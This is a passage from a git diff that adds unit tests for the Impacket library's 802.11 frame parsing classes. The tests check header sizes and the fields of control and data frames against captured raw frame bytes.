+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11, Dot11Types
+
+
+class TestDot11Common(unittest.TestCase):
+
+    def setUp(self):
+        # Frame control field 
+        a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e'
+        self.dot11fc=Dot11(a)
+        
+    def test_01_HeaderSize(self):
+        'Test Header Size field'
+        self.assertEqual(self.dot11fc.get_header_size(), 2)
+
+    def test_01_TailSize(self):
+        'Test Tail Size field'
+        self.assertEqual(self.dot11fc.get_tail_size(), 4)
+  
+    def test_02_Version(self):
+        'Test Version field'
+        self.assertEqual(self.dot11fc.get_version(), 0)
+        self.dot11fc.set_version(3)
+        self.assertEqual(self.dot11fc.get_version(), 3)
+
+    def test_03_Type(self):
+        'Test Type field'
+        self.assertEqual(self.dot11fc.get_type(), 1)
+        self.dot11fc.set_type(3)
+        self.assertEqual(self.dot11fc.get_type(), 3)
+    
+    def test_04_SubType(self):
+        'Test Subtype field'
+        self.assertEqual(self.dot11fc.get_subtype(),13)
+        self.dot11fc.set_subtype(5)
+        self.assertEqual(self.dot11fc.get_subtype(),5)
+        
+    def test_05_ToDS(self):
+        'Test toDS field'
+        self.assertEqual(self.dot11fc.get_toDS(),0)
+        self.dot11fc.set_toDS(1)
+        self.assertEqual(self.dot11fc.get_toDS(),1)
+
+    def test_06_FromDS(self):
+        'Test fromDS field'
+        self.assertEqual(self.dot11fc.get_fromDS(),0)
+        self.dot11fc.set_fromDS(1)
+        self.assertEqual(self.dot11fc.get_fromDS(),1)
+
+    def test_07_MoreFrag(self):
+        'Test More Frag field'
+        self.assertEqual(self.dot11fc.get_moreFrag(),0)
+        self.dot11fc.set_moreFrag(1)
+        self.assertEqual(self.dot11fc.get_moreFrag(),1)
+
+    def test_08_Retry(self):
+        'Test Retry field'
+        self.assertEqual(self.dot11fc.get_retry(),0)
+        self.dot11fc.set_retry(1)
+        self.assertEqual(self.dot11fc.get_retry(),1)
+
+    def test_09_PowerManagement(self):
+        'Test Power Management field'
+        self.assertEqual(self.dot11fc.get_powerManagement(),0)
+        self.dot11fc.set_powerManagement(1)
+        self.assertEqual(self.dot11fc.get_powerManagement(),1)
+
+    def test_10_MoreData(self):
+        'Test More Data field'
+        self.assertEqual(self.dot11fc.get_moreData(),0)
+        self.dot11fc.set_moreData(1)
+        self.assertEqual(self.dot11fc.get_moreData(),1)
+
+#   def test_11_WEP(self):
+#       'Test WEP field'
+#       self.assertEqual(self.dot11fc.get_WEP(),0)
+#       self.dot11fc.set_WEP(1)
+#       self.assertEqual(self.dot11fc.get_WEP(),1)
+        
+        
+    def test_12_Order(self):
+        'Test Order field'
+        self.assertEqual(self.dot11fc.get_order(),0)
+        self.dot11fc.set_order(1)
+        self.assertEqual(self.dot11fc.get_order(),1)
+
+    def test_13_latest(self):
+        'Test complete frame hexs'
+        self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)
+        self.dot11fc.set_order(1)
+        self.dot11fc.set_moreData(1)
+        self.dot11fc.set_retry(1)
+        self.dot11fc.set_fromDS(1)
+        
+        frame=self.dot11fc.get_packet()
+        
+        self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e')
+    
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_Dot11Decoder.py b/tests/dot11/test_Dot11Decoder.py
new file mode 100644
index 0000000..90d7910
--- /dev/null
+++ b/tests/dot11/test_Dot11Decoder.py
@@ -0,0 +1,79 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types
+
+
+class TestDot11Decoder(unittest.TestCase):
+
+    def setUp(self):
+        self.WEPKey=None #Unknown
+        self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35'
+        dot11_decoder = Dot11Decoder()
+        self.in0=dot11_decoder.decode(self.WEPData)
+        self.in1=self.in0.child()
+        self.in2=self.in1.child()
+        self.in3=self.in2.child()
+        if self.WEPKey:
+            self.in4=self.in3.child()
+            self.in5=self.in4.child()
+        
+    def test_01_Dot11Decoder(self):
+        'Test Dot11 decoder'
+        if PY2:
+            self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.in0.__class__), "<class 'impacket.dot11.Dot11'>")
+        
+    def test_02_Dot11DataFrameDecoder(self):
+        'Test Dot11DataFrame decoder'
+        if PY2:
+            self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame")
+        else:
+            self.assertEqual(str(self.in1.__class__), "<class 'impacket.dot11.Dot11DataFrame'>")
+    
+    def test_03_Dot11WEP(self):
+        'Test Dot11WEP decoder'
+        if PY2:
+            self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP")
+        else:
+            self.assertEqual(str(self.in2.__class__), "<class 'impacket.dot11.Dot11WEP'>")
+
+    def test_04_Dot11WEPData(self):
+        'Test Dot11WEPData decoder'
+
+        if not self.WEPKey:
+            return
+
+        self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData")
+
+        # Test if wep data "get_packet" is correct
+        wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17'
+        self.assertEqual(self.in3.get_packet(), wepdata)
+
+    def test_05_LLC(self):
+        'Test LLC decoder'
+        if self.WEPKey:
+            self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC")
+
+    def test_06_Data(self):
+        'Test LLC Data decoder'
+
+        if self.WEPKey:
+            dataclass=self.in4.__class__
+        else:
+            dataclass=self.in3.__class__
+
+        self.assertGreater(str(dataclass).find('ImpactPacket.Data'), 0)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_Dot11HierarchicalUpdate.py b/tests/dot11/test_Dot11HierarchicalUpdate.py
new file mode 100644
index 0000000..56fc5f5
--- /dev/null
+++ b/tests/dot11/test_Dot11HierarchicalUpdate.py
@@ -0,0 +1,138 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import ProtocolPacket
+
+
+class PacketTest(ProtocolPacket):
+
+    def __init__(self, aBuffer=None):
+        header_size = 7
+        tail_size = 5
+        
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if aBuffer:
+            self.load_packet(aBuffer)
+
+
+class TestDot11HierarchicalUpdate(unittest.TestCase):
+
+    def setUp(self):
+        self.rawpacket1 = b"" \
+            b"Header1"\
+            b"Body1"\
+            b"Tail1"
+
+        self.rawpacket2 = b"" \
+            b"Header2"+\
+            self.rawpacket1+ \
+            b"Tail2"
+
+        self.rawpacket3 = b"" \
+            b"Header3"+\
+            self.rawpacket2+ \
+            b"Tail3"
+
+        self.packet1 = PacketTest(self.rawpacket1)
+        self.packet2 = PacketTest(self.rawpacket2)
+        self.packet2.contains(self.packet1)
+        self.packet3 = PacketTest(self.rawpacket3)
+        self.packet3.contains(self.packet2)
+        
+    def test_01_StartupPacketsStringTest(self):
+        "ProtocolPacket - get_packet initial string test"
+        self.assertEqual(self.packet1.get_packet(), b"Header1Body1Tail1")
+        self.assertEqual(self.packet2.get_packet(), b"Header2Header1Body1Tail1Tail2")
+        self.assertEqual(self.packet3.get_packet(), b"Header3Header2Header1Body1Tail1Tail2Tail3")
+
+    def test_02_StartupPacketsSizeTest(self):
+        "ProtocolPacket - Initial size getters test"
+        
+        self.assertEqual(self.packet1.get_size(), 7+5+5)        
+        self.assertEqual(self.packet1.get_header_size(), 7)
+        self.assertEqual(self.packet1.get_body_size(), 5)
+        self.assertEqual(self.packet1.get_tail_size(), 5)
+        
+        self.assertEqual(self.packet2.get_size(), 7+ (7+5+5) + 5)
+        self.assertEqual(self.packet2.get_header_size(), 7)
+        self.assertEqual(self.packet2.get_body_size(), 7+5+5)
+        self.assertEqual(self.packet2.get_tail_size(), 5)
+        
+        self.assertEqual(self.packet3.get_size(), 7+ (7+ (7+5+5) +5) +5 )
+        self.assertEqual(self.packet3.get_header_size(), 7)
+        self.assertEqual(self.packet3.get_body_size(), 7+ 7+5+5 +5)
+        self.assertEqual(self.packet3.get_tail_size(), 5)
+    
+    def test_03_ChildModificationTest(self):
+        "ProtocolPacket - get_packet hierarchical update test"
+        self.packet1.load_body(b"**NewBody**")
+        self.assertEqual(self.packet1.get_packet(), b"Header1**NewBody**Tail1")
+        self.assertEqual(self.packet2.get_packet(), b"Header2Header1**NewBody**Tail1Tail2")
+        self.assertEqual(self.packet3.get_packet(), b"Header3Header2Header1**NewBody**Tail1Tail2Tail3")
+        
+    def test_04_ChildModificationTest(self):
+        "ProtocolPacket - size getters hierarchical update test"
+        self.packet1.load_body(b"**NewBody**")
+        #self.packet1 => "Header1**NewBody**Tail1"
+        #self.packet2 => "Header2Header1**NewBody**Tail1Tail2"
+        #self.packet3 => "Header3Header2Header1**NewBody**Tail1Tail2Tail3"        
+        
+        self.assertEqual(self.packet1.get_size(), 7+11+5 )
+        self.assertEqual(self.packet1.get_header_size(), 7)
+        self.assertEqual(self.packet1.get_body_size(), 11)
+        self.assertEqual(self.packet1.get_tail_size(), 5)
+        
+        self.assertEqual(self.packet2.get_size(), 7+ (7+11+5) +5 )        
+        self.assertEqual(self.packet2.get_header_size(), 7)
+        self.assertEqual(self.packet2.get_body_size(), 7+11+5)
+        self.assertEqual(self.packet2.get_tail_size(), 5)
+        
+        self.assertEqual(self.packet3.get_size(), 7+ (7+ (7+11+5) +5) +5 )        
+        self.assertEqual(self.packet3.get_header_size(), 7)
+        self.assertEqual(self.packet3.get_body_size(), 7+ (7+11+5) +5)
+        self.assertEqual(self.packet3.get_tail_size(), 5)
+
+    def test_05_ChildModificationTest(self):
+        "ProtocolPacket - body packet hierarchical update test"
+        self.packet1.load_body(b"**NewBody**")
+        self.assertEqual(self.packet1.body.get_buffer_as_string(), b"**NewBody**")
+        self.assertEqual(self.packet2.body.get_buffer_as_string(), b"Header1**NewBody**Tail1")
+        self.assertEqual(self.packet3.body.get_buffer_as_string(), b"Header2Header1**NewBody**Tail1Tail2")
+
+    def test_06_ChildModificationTest(self):
+        "ProtocolPacket - get_body_as_string packet hierarchical update test"
+        self.packet1.load_body(b"**NewBody**")
+        self.assertEqual(self.packet1.get_body_as_string(), b"**NewBody**")
+        self.assertEqual(self.packet2.get_body_as_string(), b"Header1**NewBody**Tail1")
+        self.assertEqual(self.packet3.get_body_as_string(), b"Header2Header1**NewBody**Tail1Tail2")
+
+    def test_07_ChildModificationTest(self):
+        "ProtocolPacket - load_body child hierarchy update test"
+        self.assertEqual(self.packet1.parent(), self.packet2)
+        self.assertEqual(self.packet2.parent(), self.packet3)
+        
+        self.assertEqual(self.packet3.child(), self.packet2)
+        self.assertEqual(self.packet2.child(), self.packet1)
+        
+        self.packet2.load_body(b"Header1**NewBody**Tail1")
+
+        self.assertEqual(self.packet1.parent(), None)
+        self.assertEqual(self.packet2.parent(), self.packet3)
+        
+        self.assertEqual(self.packet3.child(), self.packet2)
+        self.assertEqual(self.packet2.child(), None)
+    
+        self.assertEqual(self.packet1.body.get_buffer_as_string(), b"Body1")
+        self.assertEqual(self.packet2.body.get_buffer_as_string(), b"Header1**NewBody**Tail1")
+        self.assertEqual(self.packet3.body.get_buffer_as_string(), b"Header2Header1**NewBody**Tail1Tail2")
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameControlACK.py b/tests/dot11/test_FrameControlACK.py
new file mode 100644
index 0000000..bea8645
--- /dev/null
+++ b/tests/dot11/test_FrameControlACK.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK
+
+
+class TestDot11FrameControlACK(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Control Frame ACK
+        self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e'
+
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT)
+            
+        self.ack = Dot11ControlFrameACK(d.get_body_as_string())
+            
+        d.contains(self.ack)
+        
+    def test_01_HeaderTailSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.ack.get_header_size(), 8)
+        self.assertEqual(self.ack.get_tail_size(), 0)
+
+    def test_02_Duration(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.ack.get_duration(), 0)
+        self.ack.set_duration(0x1234)
+        self.assertEqual(self.ack.get_duration(), 0x1234)
+    
+    def test_03_RA(self):
+        'Test RA field'
+        
+        ra=self.ack.get_ra()
+        self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
+        ra[0]=0x12
+        ra[5]=0x34
+        self.ack.set_ra(ra)
+        self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
+       
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameControlCFEnd.py b/tests/dot11/test_FrameControlCFEnd.py
new file mode 100644
index 0000000..1a79e2d
--- /dev/null
+++ b/tests/dot11/test_FrameControlCFEnd.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd
+
+
+class TestDot11FrameControlCFEnd(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Control Frame CFEnd
+        self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0'
+
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END)
+            
+        self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string())
+            
+        d.contains(self.cfend)
+        
+    def test_01_HeaderTailSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.cfend.get_header_size(), 14)
+        self.assertEqual(self.cfend.get_tail_size(), 0)
+    
+    def test_02_Duration(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.cfend.get_duration(), 0x00)
+        self.cfend.set_duration(0x1234)
+        self.assertEqual(self.cfend.get_duration(), 0x1234)
+    
+    def test_03_RA(self):
+        'Test RA field'
+        
+        ra=self.cfend.get_ra()
+        self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])
+        ra[0]=0x12
+        ra[5]=0x34
+        self.cfend.set_ra(ra)
+        self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])
+
+    def test_04_BSSID(self):
+        'Test BSS ID field'
+        
+        bssid=self.cfend.get_bssid()
+        self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])
+        bssid[0]=0x12
+        bssid[5]=0x34
+        self.cfend.set_bssid(bssid)
+        self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])
+      
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameControlCFEndCFACK.py b/tests/dot11/test_FrameControlCFEndCFACK.py
new file mode 100644
index 0000000..1419ac7
--- /dev/null
+++ b/tests/dot11/test_FrameControlCFEndCFACK.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK
+
+
+class TestDot11FrameControlCFEndCFACK(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Control Frame CFEndCFACK
+        self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00'
+
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK)
+            
+        self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string())
+            
+        d.contains(self.cfendcfack)
+        
+    def test_01_HeaderTailSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.cfendcfack.get_header_size(), 14)
+        self.assertEqual(self.cfendcfack.get_tail_size(), 0)
+    
+    def test_02_Duration(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE)
+        self.cfendcfack.set_duration(0x1234)
+        self.assertEqual(self.cfendcfack.get_duration(), 0x1234)
+    
+    def test_03_RA(self):
+        'Test RA field'
+        
+        ra=self.cfendcfack.get_ra()
+        self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b])
+        ra[0]=0x12
+        ra[5]=0x34
+        self.cfendcfack.set_ra(ra)
+        self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34])
+
+    def test_04_BSSID(self):
+        'Test BSS ID field'
+        
+        bssid=self.cfendcfack.get_bssid()
+        self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a])
+        bssid[0]=0x12
+        bssid[5]=0x34
+        self.cfendcfack.set_bssid(bssid)
+        self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34])
+      
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameControlCTS.py b/tests/dot11/test_FrameControlCTS.py
new file mode 100644
index 0000000..5844418
--- /dev/null
+++ b/tests/dot11/test_FrameControlCTS.py
@@ -0,0 +1,60 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS
+
+
+class TestDot11FrameControlCTS(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Control Frame CTS
+        self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17'
+        
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND)
+            
+        self.cts = Dot11ControlFrameCTS(d.get_body_as_string())
+            
+        d.contains(self.cts)
+        
+    def test_01_HeaderTailSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.cts.get_header_size(), 8)
+        self.assertEqual(self.cts.get_tail_size(), 0)
+    
+    def test_02_Duration(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.cts.get_duration(), 4667)
+        self.cts.set_duration(0x1234)
+        self.assertEqual(self.cts.get_duration(), 0x1234)
+    
+    def test_03_RA(self):
+        'Test RA field'
+        
+        ra=self.cts.get_ra()
+        
+        self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])
+        ra[0]=0x12
+        ra[5]=0x34
+        self.cts.set_ra(ra)
+        self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])
+      
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameControlPSPoll.py b/tests/dot11/test_FrameControlPSPoll.py
new file mode 100644
index 0000000..b3e6c42
--- /dev/null
+++ b/tests/dot11/test_FrameControlPSPoll.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll
+
+
+class TestDot11FrameControlPSPoll(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Control Frame PSPoll
+        self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f'
+
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)
+            
+        self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string())
+            
+        d.contains(self.pspoll)
+        
+    def test_01_HeaderTailSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.pspoll.get_header_size(), 14)
+        self.assertEqual(self.pspoll.get_tail_size(), 0)
+    
+    def test_02_AID(self):
+        'Test AID field'
+        
+        self.assertEqual(self.pspoll.get_aid(), 0xAFF1)
+        self.pspoll.set_aid(0x1234)
+        self.assertEqual(self.pspoll.get_aid(), 0x1234)
+    
+    def test_03_BSSID(self):
+        'Test BSS ID field'
+        
+        bssid=self.pspoll.get_bssid()
+        self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9])
+        bssid[0]=0x12
+        bssid[5]=0x34
+        self.pspoll.set_bssid(bssid)
+        self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34])
+
+    def test_04_TA(self):
+        'Test TA field'
+        
+        ta=self.pspoll.get_ta()
+        self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a])
+        ta[0]=0x12
+        ta[5]=0x34
+        self.pspoll.set_ta(ta)
+        self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34])
+     
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameControlRTS.py b/tests/dot11/test_FrameControlRTS.py
new file mode 100644
index 0000000..c3a2723
--- /dev/null
+++ b/tests/dot11/test_FrameControlRTS.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS
+
+
+class TestDot11FrameControlRTS(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Control Frame RTS
+        self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73'
+        
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND)
+            
+        self.rts = Dot11ControlFrameRTS(d.get_body_as_string())
+            
+        d.contains(self.rts)
+        
+    def test_01_HeaderTailSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.rts.get_header_size(), 14)
+        self.assertEqual(self.rts.get_tail_size(), 0)
+    
+    def test_02_Duration(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.rts.get_duration(), 0x181)
+        self.rts.set_duration(0x1234)
+        self.assertEqual(self.rts.get_duration(), 0x1234)
+    
+    def test_03_RA(self):
+        'Test RA field'
+        
+        ra=self.rts.get_ra()
+        self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
+        ra[0]=0x12
+        ra[5]=0x34
+        self.rts.set_ra(ra)
+        self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
+
+    def test_04_TA(self):
+        'Test TA field'
+        
+        ta=self.rts.get_ta()
+        self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])
+        ta[0]=0x12
+        ta[5]=0x34
+        self.rts.set_ta(ta)
+        self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])
+      
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameData.py b/tests/dot11/test_FrameData.py
new file mode 100644
index 0000000..7fabdc7
--- /dev/null
+++ b/tests/dot11/test_FrameData.py
@@ -0,0 +1,107 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame
+
+
+class TestDot11DataFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Data Frame 
+        #
+        self.frame_orig=b'\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91'
+        
+        d = Dot11(self.frame_orig)
+        
+        type = d.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA)
+        
+        subtype = d.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA)
+        
+        typesubtype = d.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
+            
+        self.data = Dot11DataFrame(d.get_body_as_string())
+            
+        d.contains(self.data)
+        
